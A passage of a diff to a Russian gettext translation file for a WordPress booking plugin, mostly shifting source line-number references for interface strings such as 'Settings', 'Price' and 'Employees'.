includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n@@ -202,18 +192,18 @@\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n #: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n msgid \"Settings\"\n msgstr \"Настройки\"\n \n@@ -232,27 +222,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"Экспорт\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -262,7 +252,7 @@\n msgid \"Status\"\n msgstr \"Статус\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -271,7 +261,7 @@\n msgid \"Customer\"\n msgstr \"Клиент\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -283,11 +273,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"Цена\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -297,11 +287,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"Услуги\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -321,14 +311,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"Услуга\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -341,12 +331,12 @@\n #: includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -376,14 +366,14 @@\n msgid \"Employee\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"Время\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"Оплачено: %s\"\n@@ -780,7 +770,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1068,7 +1058,7 @@\n msgid \"The customer didn't complete the payment in time.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -1087,14 +1077,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"ID\"\n \n@@ -1131,7 +1121,7 @@\n msgid \"Employee name\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -1206,7 +1196,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"\"\n \n@@ -1454,7 +1444,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1468,7 +1458,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"\"\n \n@@ -1545,7 +1535,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"\"\n \n@@ -1566,49 +1556,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"\"\n \n@@ -1616,7 +1606,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"\"\n \n@@ -1632,10 +1622,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"\"\n \n@@ -1648,9 +1638,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"\"\n \n@@ -1663,30 +1653,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"\"\n \n@@ -1694,7 +1684,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"\"\n \n@@ -1708,8 +1698,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"Места\"\n \n@@ -1717,8 +1707,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"\"\n \n@@ -1731,9 +1721,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"\"\n \n@@ -1751,10 +1741,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"Количество столбцов\"\n \n@@ -1772,10 +1762,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"\"\n \n@@ -1789,10 +1779,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"Упорядочить по\"\n \n@@ -1806,10 +1796,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"Без сортировки\"\n \n@@ -1820,9 +1810,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"ID записи\"\n \n@@ -1833,9 +1823,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"Автор записи\"\n \n@@ -1849,9 +1839,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"Название заголовка\"\n \n@@ -1862,9 +1852,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: 